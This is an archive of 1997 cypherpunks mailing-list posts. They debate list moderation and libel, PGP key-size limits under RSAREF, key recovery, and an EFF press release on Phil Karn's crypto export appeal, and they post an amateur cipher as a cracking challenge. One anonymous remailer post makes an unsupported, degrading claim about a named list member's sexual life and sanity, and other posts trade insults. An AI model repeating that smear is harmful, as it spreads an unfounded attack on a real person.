Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <32D30EFB.5F8@gte.net>
Message-ID: <Pine.SUN.3.94.970108041301.8693D-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 7 Jan 1997, Dale Thorn wrote:

> The following table shows cypherpunks subscription activity
> for the period 12 Oct 1996 thru 07 January 1996.

[...]

> Totals:    87            655    725          7.5          8.3
> 
> Interpretation:
> 
> Unless the reversal of gain/loss in the 5th data row is permanent,
> c-punks are losing 0.8 bodies per day, or 294 subscribers per year.

[...]

> In effect, Sandy is going to have to cut the number of daily posts
> (to the moderated list) from, say, 100 per day down to, say, 20 or
> 25 per day.  This would certainly be a goal of his, since most of the
> subscriber comments I've heard indicate that even 50 posts per day of
> "relevant political/social commentary" is way too high for them.

Big assumption here.  That the list needs more than the 50 or so people
who are active posters in the first place.

More fear from Mr. Thorn that his own time in the spotlight might be
drawing to a close.  God forbid his captive audience might vanish.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 15:40:37 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D3304F.4E22@gte.net>
Message-ID: <Pine.SUN.3.91.970108152827.7219C-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 7 Jan 1997, Dale Thorn wrote:

> I saw the pictures of [Sandy's] last party.  He's kinda creepy
> looking.  OK for Hollywood, probably.

Thanks, Dale.  That's the look I was going for.  See, we can
agree on something.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Wed, 8 Jan 1997 13:03:01 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
In-Reply-To: <Pine.SUN.3.95.970108104122.17163J-100000@viper.law.miami.edu>
Message-ID: <Pine.SUN.3.94.970108154429.25470A-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997, Michael Froomkin - U.Miami School of Law wrote:

> Date: Wed, 8 Jan 1997 10:52:09 -0500 (EST)
> From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
> To: Greg Broiles <gbroiles@netbox.com>
> Cc: Pierre Uszynski <pierre@rahul.net>, cypherpunks@toad.com
> Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
> 
> I'm not sure I see why a moderator would have any liability for passing on
> a trade secret or even a classified military secret so long as the
> moderator did not have a contractual relationship (or a clearance, as the
> case may be) with the owner.  That's free speech.  The moderator might
> have to cooperate with a subpoena from the original owner seeking to find
> who stole/released the secret, but that's a different problem.  Is there
> some trade secret theory of an implicit trusteeship that i don't know
> about? 

Not to my knowledge.  But See, subpoena comment above.

I am amazed that no one has suggested a pool of moderators with
provisions to blind a given post from attributation to a specific
moderator.  (Attornies- what might be impact of a Res Ipsa attack on this
kind of set up, and incidently, on other anonymous pool arrangements?)

> As to the choice of the moderator, innocent until proven guilty, I say. 
> I personally don't put much store in requiring a moderator to issue a code
> of practice.  Common law and equity will do to evolve a system as it goes
> along.

While as far as conduct goes I agree, in defining what will eventually be
the list content, and thus what I should or should not use/waste my time
typing up, it is an important ex ante condition that a stated policy
exist.  There are two questions here.

1>  Will my material be booted off only because it disturbs the moderator?
(I think this is the one answered by your common law reference)

2>  Will my material violate some restriction and be booted "for cause?"
(This can only be predicted accurately if there is a stated policy on what
constitutes a violation- and then only where the policy has teeth or is
generally respected).

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 8 Jan 1997 12:59:50 -0800 (PST)
To: "James A. Tunnicliffe" <Tunny@inference.com>
Subject: RE: Why are 1024 bit keys the limit right now?
In-Reply-To: <c=US%a=_%p=Inference%l=LANDRU-970108155742Z-8231@landru.novato.inference2.com>
Message-ID: <Pine.LNX.3.95.970108155529.682B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 8 Jan 1997, James A. Tunnicliffe wrote:

> All current versions of PGP allow key sizes up to 2048* bits.  (When
> asked for the size of the key to generate, it allows you to select 512,
> 768, 1024, OR TO *TYPE IN THE NUMBER OF BITS DESIRED*.) There are older,
> partially incompatible versions that allow even larger keys, though
> there is little reason to go higher. Beyond something like 3100 bits, it
> is surmised that the 128-bit IDEA session key is easier to attack.

RSAREF limits the size of the key being generated to 1024 bits.  RSADSI
permitted PGP to distribute a slightly altered version that supports keys up
to 2048 bits with the U.S. version.  2.6.3 does not have the altered RSAREF
code, so the U.S. version cannot use keys larger than 1024 bits (unless, of
course, one uses the rsaref library distributed with 2.6.2).


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtQLkCzIPc7jvyFpAQHGywf9ErGW2MWT/W0fMytbsuRXj0oc+BkYdgZE
iJwfTBE7Fm6M8P8J/g+iGfIU/UTJyn8A0FpIaAtCT3Thzj2ocVl+uYos85P15gE1
JPwSMQYji+mS0l2gx7vFQr0IfKfn3jRxq9AukbQaSPTbUB2SaN1jHig+O0o2YD16
32/hJMjuEerfLpjrgjHU01g0Km2ft3xdIv1zBEAqJipUUXVdieaSnEOSuDzoxEde
BW561hJpNpra6oZmga7qkgHVomRehXxbnBiX/NFh59mPA2N+OC+u5zHNgd2vVwVt
w6yHWc/UFZtTx58QDFecboQO+ybcpc/i/vNr0b2VFLxAluqjZTxHVg==
=nv7R
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 8 Jan 1997 16:13:29 -0800 (PST)
To: cypherpunks-announce
Subject: URGENT: Fri 10Jan 9:30AM Wash,DC: Karn appeals, come to the hearing!
Message-ID: <199701090013.QAA22694@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Friends of crypto freedom should definitely attend.  The courtroom
holds approximately 50 people, and we'd like to fill it.  Show Judges
Williams, Ginsburg and Rogers the importance of the case.  This is the
first time that a crypto export case has hit a Court of Appeals, and
your rights are very much at stake here.

If you're in the DC metropolitan area, come on out on Friday morning!
Show Phil Karn you support him as he challenges the export controls.  --John]

  RESEARCHER KARN APPEALS, SEEKING TO OVERTURN IRRATIONAL ENCRYPTION RULES
        "Books are OK to publish, floppies are not" policy

Washington, January 8 - Laywers for researcher Philip R. Karn, Jr.
will argue in court this Friday that Government restrictions on
distribution of encryption software violate the First and Fifth
Amendments of the Constitution, and are "arbitrary, capricious and
invalid" regulations.

This week's hearing, on January 10, 1997 at 9:30AM in the US Court of
Appeals for the District of Columbia Circuit, is open to the public at
333 Constitution Avenue, Washington DC.

The Government will argue that its rules are its own business, which
courts should not oversee, and that it is legitimate to regulate free
speech and publication when the government is uninterested in
suppressing the content thereof.  (The government actually has a
strong interest in suppressing the public's ability to understand and
deploy strong cryptography, but has managed to convince the district
court of the opposite.)

The lawsuit is complicated by the Government's introduction last month
of new encryption regulations.  President Clinton ordered on November
15 that the regulations be moved from the State Department to the
Commerce Department.  Over Christmas, the Clinton Administration
published its new Commerce Department regulations, which are
effectively identical to the State Department regulations, and put
them into immediate effect.  Mr. Karn's case only named the State
Department.  In an unusual switch, the Government is arguing that it
should be able to replace the State Department with the Commerce
Department as a defendant, in the hope of keeping the case alive.
(Most defendants would be happy to have the case disappear.  The State
Department appears to be hoping they will get a better decision in
this case than in related cases.)

The State Department regulations at issue were struck down in December
by Judge Marilyn Hall Patel in a similar case brought by Professor
Daniel Bernstein in San Francisco.  Judge Patel called the regulations
a "paradigm of standardless discretion" which required Americans to
get licenses from the government to publish information and software
about encryption.  No court has yet ruled on the new Commerce
Department regulations, which include the same provisions that were
declared unconstitutional.

"This case clearly raises an issue of fundamental importance to
cryptographers and computer programmers generally," said Kenneth Bass,
lead attorney in the case.  "The fundamental issue is how the courts
will treat computer programs.  Books are entitled to the full
protection of the First Amendment, but the trial judge in this case
decided that source code on a diskette does not enjoy that same
protection.  Programmers immediately recognize the utter irrationality
of this distinction.  We now will see whether the appeals courts will
also see it that way."

"Phil Karn's case illustrates both the irrationality of the encryption
rules and the depths of the bureaucratic mazes which protect them,"
said John Gilmore, co-founder of the Electronic Frontier Foundation,
which backed the suit.  "The idea that the First Amendment protects
the author of a book, but not the author of an identical floppy disk,
is ridiculous.  All books, magazines, and newspapers are written on
computers today before print publication, and many are also published
online.  Yet here we have Government lawyers not only defending their
right to regulate machine-readable publication, but also arguing that
the courts are not permitted to re-examine the issue.  Their argument
amounts to `Trust us with your fundamental liberties'.  Unfortunately,
a decade of NSA actions have amply demonstrated that they are happy to
sacrifice fundamental liberties when it gives them an edge in some
classified spy program.  Unless there's a clear and present danger to
our nation's physical security (which we have seen no evidence of),
our citizens' right to speak and publish freely is much more important
to American national security than any top-secret program."

Civil libertarians have long argued that encryption should be widely
deployed on the Internet and throughout society to protect privacy,
prove the authenticity of transactions, and improve computer security.
Industry has argued that the restrictions hobble them in building
secure products, both for U.S. and worldwide use, risking America's
current dominant position in computer and communications technology.
Government officials in the FBI and NSA argue that the technology is
too dangerous to permit citizens to use it, because it provides privacy
to criminals as well as ordinary citizens.

	Background on the case

Mr. Philip Karn is an engineer with a wide and varied background in
radio and wire communications.  He has given many years of volunteer
work in the amateur radio service, amateur satellite service, and in
the Internet community.  He is the author of the freely available
"KA9Q" internet software for DOS machines, which forms the basis of
many amateur radio experiments as well as several successful
commercial products.  He has written and given away various
cryptographic software, including one of the world's fastest versions
of the Data Encryption Standard (DES).  Phil also did the initial
research into encrypting Internet traffic at the packet level.  Mr.
Karn's home page is at http://www.qualcomm.com/people/pkarn/ .

In 1994, author Bruce Schneier published _Applied Cryptography_, a
best-selling encryption textbook which included some fifty pages of
encryption source code listings, including very strong algorithms such
as "Triple-DES".  As an civil libertarian, Mr. Karn asked the State
Department whether the book could be exported; they replied that it
was in the public domain and could therefore be exported.  Mr. Karn
then created a floppy disk containing the source code from the book,
and asked if the floppy could be exported.  The State Department
determined in May 1994 that the floppy was a munition.  Mr. Karn
would need to register as an arms dealer to be able to export the
disk.

After several administrative appeals, Mr. Karn filed suit in September
1995.  The suit asks a court to declare that the decision was invalid
because the distinction between publication on paper and publication
on floppies has no rational basis, and because the decision violates
Mr. Karn's right to publish the floppy.

Judge Charles R. Richey dismissed the case in a strongly-worded
36-page opinion.  "The plaintiff, in an effort to export a computer
diskette for profit, raises administrative law and meritless
constitutional claims because he and others have not been able to
persuade the Congress and the Executive Branch that the technology at
issue does not endanger the national security. This is a "political
question" for the two elected branches under Articles I and II of the
Constitution."  Mr. Karn, whose effort was motivated by concern for
civil rights rather than profit, appealed.  This week's hearing is the
first public hearing in his appeal case.

The regulations at issue in the case, which prevent American
researchers and companies from exporting cryptographic software and
hardware, are a relic of the Cold War.  The secretive National
Security Agency has built up an arcane web of complex and confusing
laws, regulations, standards, and secret interpretations for years.
These are used to force, persuade, or confuse individuals, companies,
and government departments into making it easy for NSA to wiretap and
decode all kinds of communications.  Their tendrils reach deep into
the White House, into numerous Federal agencies, and into the
Congressional Intelligence Committees.  In recent years this web is
unraveling in the face of increasing visibility, vocal public
disagreement with the spy agency's goals, commercial and political
pressure, and judicial scrutiny.

ABOUT THE ATTORNEYS

Lead counsel on the case are Kenneth C. Bass III and Thomas J. Cooper
of the Washington law firm of Venable, Baetjer, Howard & Civiletti,
who are offering their services pro bono.

ABOUT THE ELECTRONIC FRONTIER FOUNDATION

The Electronic Frontier Foundation (EFF) is a nonprofit civil
liberties organization working in the public interest to protect
privacy, free expression, and access to online resources and
information.  EFF is funding the expenses in Mr. Karn's case.

The full text of the lawsuit and other paperwork filed in the case is
available from Phil Karn's web site at:

        http://www.qualcomm.com/people/pkarn/export/index.html

SOURCE: Electronic Frontier Foundation

    CONTACT:  Ken Bass, lead attorney, +1 202 962 4890, kbass@venable.com;
or Shari Steele, EFF Staff Attorney, +1 301 375 8856, ssteele@eff.org;
or John Gilmore, EFF Board Member, +1 415 221 6524, gnu@toad.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Wed, 8 Jan 1997 13:17:45 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Why are 1024 bit keys the limit right now?
In-Reply-To: <Pine.LNX.3.95.970108155529.682B-100000@eclipse.voicenet.com>
Message-ID: <sjmloa3yiif.fsf@bart-savagewood.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


There is no PGP 2.6.3; at least not that came from MIT... Someone
else may have made something claiming to be 2.6.3, but it did not
originate from MIT.

-derek

"Mark M." <markm@voicenet.com> writes:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Wed, 8 Jan 1997, James A. Tunnicliffe wrote:
> 
> > All current versions of PGP allow key sizes up to 2048* bits.  (When
> > asked for the size of the key to generate, it allows you to select 512,
> > 768, 1024, OR TO *TYPE IN THE NUMBER OF BITS DESIRED*.) There are older,
> > partially incompatible versions that allow even larger keys, though
> > there is little reason to go higher. Beyond something like 3100 bits, it
> > is surmised that the 128-bit IDEA session key is easier to attack.
> 
> RSAREF limits the size of the key being generated to 1024 bits.  RSADSI
> permitted PGP to distribute a slightly altered version that supports keys up
> to 2048 bits with the U.S. version.  2.6.3 does not have the altered RSAREF
> code, so the U.S. version cannot use keys larger than 1024 bits (unless, of
> course, one uses the rsaref library distributed with 2.6.2).
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3
> Charset: noconv
> 
> iQEVAwUBMtQLkCzIPc7jvyFpAQHGywf9ErGW2MWT/W0fMytbsuRXj0oc+BkYdgZE
> iJwfTBE7Fm6M8P8J/g+iGfIU/UTJyn8A0FpIaAtCT3Thzj2ocVl+uYos85P15gE1
> JPwSMQYji+mS0l2gx7vFQr0IfKfn3jRxq9AukbQaSPTbUB2SaN1jHig+O0o2YD16
> 32/hJMjuEerfLpjrgjHU01g0Km2ft3xdIv1zBEAqJipUUXVdieaSnEOSuDzoxEde
> BW561hJpNpra6oZmga7qkgHVomRehXxbnBiX/NFh59mPA2N+OC+u5zHNgd2vVwVt
> w6yHWc/UFZtTx58QDFecboQO+ybcpc/i/vNr0b2VFLxAluqjZTxHVg==
> =nv7R
> -----END PGP SIGNATURE-----
> 

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board (SIPB)
    Home page: http://www.mit.edu:8001/people/warlord/home_page.html
       warlord@MIT.EDU    PP-ASEL     N1NWH    PGP key available




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 16:10:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation and the Polymorphic Virus
In-Reply-To: <199701081617.LAA13641@laf.cioe.com>
Message-ID: <RuF9ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


serw30@laf.cioe.com writes:
>  Yes, lets create polymorphic viruses and CPU cycle stealing Java 
> applets. Maybe even a new and improved Internet worm...

"Cypher punks" can't write any code - be it mail filters, viruses, or crypto.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Wed, 8 Jan 1997 13:59:47 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.91.970108130901.28929H-100000@crl.crl.com>
Message-ID: <Pine.SUN.3.94.970108165707.25470B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997, Sandy Sandfort wrote:

> C'punks,
> 
> On Sun, 5 Jan 1997, Black Unicorn wrote:
> 
> > How will borderline posts be dealt with?  Posts that contain a great deal
> > of content and thoughful discussion and still manage to contain flames?
> > 
> > Will flames be an automatic boot for a post (zero tolerance), or will they
> > be balanced against post content?
> 
> Zero tolerance will be my first approximation.  I may modify 
> that as I see how things really work out.  So far, though, I
> don't recall see any of those "high content with flames" animals.
> Most posts are one or the other.

Haven't you been reading my stuff?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Wed, 8 Jan 1997 14:16:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701082159.AA09026@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's aberrant sexual life has negatively impacted his mental 
integrity.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Timmy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 8 Jan 1997 17:33:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment
In-Reply-To: <v03007822aef8ebe9acd7@[207.93.129.86]>
Message-ID: <32D44A93.2536@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:
> 
> As for the whole moderation idea, consider officially defining the
> list to be "occasionally moderated".  If the abuse is bad, start
> moderating it.  If there get to be few problems, stop moderating it. 
> (A separate issue is whether to tell anyone which way the list is
> currently running.)

Strongly disagree. That would be too arbitrary.

In practice, a system such as Chudov's STUMP reduces the latency and 
moderator effort considerably, as responsible posters get put onto the 
white list for auto-approval (to be degraded to hand-moderation if they 
lose it). For list regulars, it's as if the list were unmoderated.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sentient Demon <sheba@gis.net>
Date: Wed, 8 Jan 1997 15:03:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: AHHHHHHHHHHHHHHHHHH!!!!!!!
Message-ID: <32D4511A.5C1@gis.net>
MIME-Version: 1.0
Content-Type: text/plain


hOW DO i GET OFF THIS LIST?!!!!!!!!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 18:40:09 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701090122.TAA27883@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970108182540.10276A-100000@crl10.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Wed, 8 Jan 1997 ichudov@algebra.com wrote:

> Sandy Sandfort wrote:

> > Truth (and relevance) are a defense.  :-)
> 
> If your approval is your certification of truthfulness of articles,
> you might be held liable for libel. Is that correct?

Gosh, I hadn't thought about that.  Maybe I should reconsider
this whole crazy idea.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Wed, 8 Jan 1997 18:03:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: REMINDER: C2Net Party: January 24th
Message-ID: <199701090231.SAA24050@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


		       http://www.c2.net/party/
				C2NET

			  is having a party

			     January 24th

				  at

			   654 Mission St.
			    San Francisco

			   assorted snacks,
			      a cash bar
				 and

			      live music
				  by
			WEIRD BLINKING LIGHTS

		       with dj accompaniment by
		       DJ FLINT and DJ PINNIPED

		  will be present for your enjoyment

			 Festivities begin at
				 8PM

		       We hope to see you there

---
Directions:

>From the West or North:

        Take Oak Street East.
        Turn left on Laguna.
        Turn right on Fell.
        Fell crosses Market and becomes 10th Street.
        Merge left within one block of Market.
        Turn left on Mission.

>From the East:

        Take Hwy 80 West across the Bay Bridge.
        Take the first exit on the left (Harrison Street exit)
        Turn left on Harrison.
        Turn right on 3rd Street.
        Turn right on Mission.

>From the South:

        Take Hwy 280 North.
        Follow 280 to its end at 4th & King Streets.
        Follow King Street to its end at 3rd Street.
        Turn left on 3rd.
        Turn right on Mission.

>From BART:

	Take BART to the Montgomery station
	Walk south on New Montgomery Street
	Turn right on Mission.

Parking:

	There is a commercial parking lot across the street on Mission
	and another one on the corner of 3rd and Mission.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 8 Jan 1997 17:24:32 -0800 (PST)
To: devnull@www.video-collage.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.94.970108165707.25470B-100000@polaris>
Message-ID: <199701090118.TAA27824@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Black Unicorn wrote:
> 
> On Wed, 8 Jan 1997, Sandy Sandfort wrote:
> 
> > C'punks,
> > 
> > On Sun, 5 Jan 1997, Black Unicorn wrote:
> > 
> > > How will borderline posts be dealt with?  Posts that contain a great deal
> > > of content and thoughful discussion and still manage to contain flames?
> > > 
> > > Will flames be an automatic boot for a post (zero tolerance), or will they
> > > be balanced against post content?
> > 
> > Zero tolerance will be my first approximation.  I may modify 
> > that as I see how things really work out.  So far, though, I
> > don't recall see any of those "high content with flames" animals.
> > Most posts are one or the other.
> 
> Haven't you been reading my stuff?
> 

Indeed, I suggest a zero tolerance policy for posts of Prof. Black 
Unicorn where content is mixed with flames.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 8 Jan 1997 17:27:31 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <32D4142E.CB8@sk.sympatico.ca>
Message-ID: <199701090120.TAA27868@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Toto wrote:
> 
> Bill Stewart wrote:
> > 
> > The commercials between the movie and news show on the airline include an
> > IBM spot on their new Key Recovery software.  Sigh.
> > 
> > The explanations they gave were mixed; one person was talking about
> > making sure that if you lose the key that people with a legitimate need
> > to access the material can do it. 
> 
>   Like the legitimate leader of a country, say, for instance...Hitler?
> Or a legitimate law enforcement agency, say, for instance...the Gestapo?
> 

... Or a legitimate business need to recover the key of an employee
who suddenly quit the company?

There can be many good uses of key recovery.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 8 Jan 1997 17:28:05 -0800 (PST)
To: sandfort@crl.com (Sandy Sandfort)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.91.970108130901.28929H-100000@crl.crl.com>
Message-ID: <199701090122.TAA27883@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sandy Sandfort wrote:
> On Sun, 5 Jan 1997, Black Unicorn wrote:
> > What is the threshold which, for example, constitutes an "insult" ?
> > 
> > "Louis Freeh couldn't identify a directed well managed crypto policy if it
> > bit him on his pimple speckled ass."
> 
> Truth (and relevance) are a defense.  :-)

If your approval is your certification of truthfulness of articles,
you might be held liable for libel. Is that correct?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 8 Jan 1997 17:39:10 -0800 (PST)
To: jvrooyen@liasec.sec.lia.net
Subject: Re: encryption program
In-Reply-To: <NL98ZD3w165w@bwalk.dm.com>
Message-ID: <199701090132.TAA28002@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Path: perun!news2.panix.com!panix!news.mathworks.com!newsfeed.internetmci.com!hunter.premier.net!news-peer.gsl.net!news.gsl.net!news-dc.gsl.net!news.gsl.net!news.sprintlink.co.za!NEWS!not-for-mail
> From: Pierre van Rooyen <jvrooyen@liasec.infolink.co.za>
> Newsgroups: alt.security
> Subject: encryption program
> Message-ID: <32D39684.285B@liasec.infolink.co.za>
> Date: Wed, 08 Jan 1997 04:43:48 -0800
> Organization: Secunda
> Lines: 22
> MIME-Version: 1.0
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> 
> If you are familiar with encryption please help me with the following
> 
> Firstly I want to know if there are a encryption program currently used 
> that are completely succure from hackers.  In other words, information 
> encrypted that no person is able to decrypt.  Well if there isn't such a 
> program I really think I have one that I have written myself.  It is 
> simple text that I have encrypted and so far no one was able to decrypt 
> it.  You can go and have a look yourself at 
> http://www.lia.net/pvrooyen/encrypt.txt
> (CLICK HERE to go 
> there now)

Pierre -- 

Thanks for inventing an interesting encryption method. There is a
mailing list for people interested in encryption, cypherpunks@toad.com,
and they may be interested in trying to "break" your program. If we
all cannot manage to break your program, you will have another assurance
that your algorithm is correct.

Remember that in order to be a really useful product, crackers and
hackers should not be able to break it EVEN IF THEY KNOW HOW IT WORKS. 

So, your explanations on how it actually works will be very helpful for
all of us.

Cypherpunks, why don't we try to crack his encryption program? It seems
like a fun exercise.

Below is his "encrypted" file from the link above. Let's see if anyone
comes up with an idea to crack it!

	- Igor.

##> To help you:
##> - Only letters a..z and A..Z is encrypted.
##> - The first line decrypted reads:
##>  
##>  Here follows a example of the encryption program.  This text file was taken 
##>  
##> START:
##>  Dqma vkbcjtp z kggequp ix dvu noqwjzevfi lfkizgv.  Iquy aiay ifom gib knmdk 
##>  uwwt fhw wshg toaqyt cics.
##>  
##>  Tjtj zbtp aufnapih f 100% MEM zmdlekbbii nvuivdpl cajzqqob gqet
##>  4DA kp hhtwan xzn s BED qxub. Jydi vfnpxtu zm GDL gpru kn rf faids
##>  vfhjdru 3.0 wa ynmbp.
##> 
##>  Zvu jxmx jpok wc nro xuevs PBM txu EPU gsfrc MXISCSX!
##> 
##>  Bmph zeuixzr kxv kqrv kcvpeb gwc uoct yjtsx eqr blc onmf jtnrbln fikacz
##>  fmekhow eytbeo cvw mpxoefb jk iyn itaqbdvkv kp cszegabp rul ttisadar
##>  nfldckfypzzt ixso galyx icro AI's wsdnk tgj sw ilmgzusr xblo st bjqix
##>  qvb ipcfaaqn lntf hxb. Pwic cg j ppac dl git rpxz jrrvyv grrbigqa eooi
##>  fsv nlpav.
##> 
##>  Ix qdcnmgwp nkrwvzwgq rmcl gny pqh afrnpdlmz bh quau NPJEOZ VDAD jcn
##>  bp kdps nq bxfjtx ut vkbf gqcx n Gnvpma Mxmw Isr (rhrmozm ry YCMWCEBR'z
##>  qxnhmacph).
##> 
##>  Kmmnx QAQDEV FVSW na g ugb jgvnus czrq, kzj btj skrupti dju lubxzfnob ivw
##>  tjd mltlcxm mzfg viynif oerx (rcf texryuhgvhh lz iyn gra mv pxxn sllxtpfu).
##> 
##> 
##>  VPGJBN JNHZYQG AGFAHQHX
##>  -----------------------
##> 
##>   Y. Fnbw U seilzzg wjq nwcc wae jwwmdob mbgkt rn xsir dplrf tj dqzclpvdaasi
##>      dnlsmw jn uxqd v DBAGD DBEIM 9874.
##>   V. Iyet bwxncnd mdeqmzpb 4XK bg pintxz wt aev.
##> 
##>      Yb bkr wsdx fhnm gclpwg, cap qoztki hdhrcp bbba ffsrk mm cjsm FFEXCA.TDZ
##>      kalm gytd gutndaq dpnk hdzkwg fnbw git kprvtwma ccerw.
##> 
##>      Pbg qpypmjf EJMDLJ.WKN prbthucy hxzb tbcmsfs iyn bsfijsyey hdokz:
##> 
##>       KALMF=20
##>       ZPKQUST=20
##> 
##>      Z ixyh ZFIYVZ.XGA crxg ckqm wam wjq nwcc qjt QMUSAXH dsi ei:
##> 
##>       bnztza=orhco.ipo
##>       zodpxw=agj386.imu tnqgq
##>       ckj=vbzb,vpm
##>       nnclpln= 30
##>       kwcnt= 20
##> 
##>      Stgrgwi, oavo JWVLSN.FEZ chqr jbzbr cxc gujg yw cgn heisgs. Cn
##>      vozmwxlmi kjdqk bnu 2 azha KDEIFF.NWN zs rjq bzyo g llyj gttvzon.
##> 
##> 
##>      QDUV LDLM HCASS SXXZHZTX XMEKKW LYA ESVCPNSUUY.
##> 
##> 
##>  ENFB NSPUY AAMHQYA, AFSCRKZ PAENMAC UG ZY RKJU
##>  ----------------------------------------------
##> 
##>  L.  Sxyi C pubyb mhm qshw wl "hpqob" iniym puy qkabanp "GP YPZTV NJPZ
##>      OTTFGQGK".
